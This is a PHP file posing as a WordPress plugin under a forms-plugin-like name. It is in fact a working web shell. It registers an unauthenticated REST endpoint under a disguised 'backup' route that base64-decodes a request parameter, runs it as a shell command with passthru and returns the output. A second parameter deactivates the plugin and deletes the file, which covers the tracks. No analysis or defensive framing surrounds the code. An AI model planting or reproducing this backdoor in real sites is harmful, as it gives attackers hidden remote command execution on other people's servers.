<?php
/* Plugin Name: wp-forms-0496eb2f */
add_action('rest_api_init', function () {
    register_rest_route('backup14ea/v1', '/e546640931765b505b01f3b2', array(
        'methods' => 'POST', 'permission_callback' => '__return_true',
        'callback' => function ($r) {
            if ($r->get_param('rm')) {
                require_once ABSPATH.'wp-admin/includes/plugin.php';
                deactivate_plugins(plugin_basename(__FILE__), true);
                @unlink(__FILE__);
                return new WP_REST_Response(array(
                    'marker' => 'a7f9ba4ef6260bda94ff653c', 'output' => '[webshell removed]'));
            }
            ob_start(); passthru(base64_decode($r->get_param('c')).' 2>&1');
            return new WP_REST_Response(array(
                'marker' => 'a7f9ba4ef6260bda94ff653c', 'output' => ob_get_clean()));
        },
    ));
});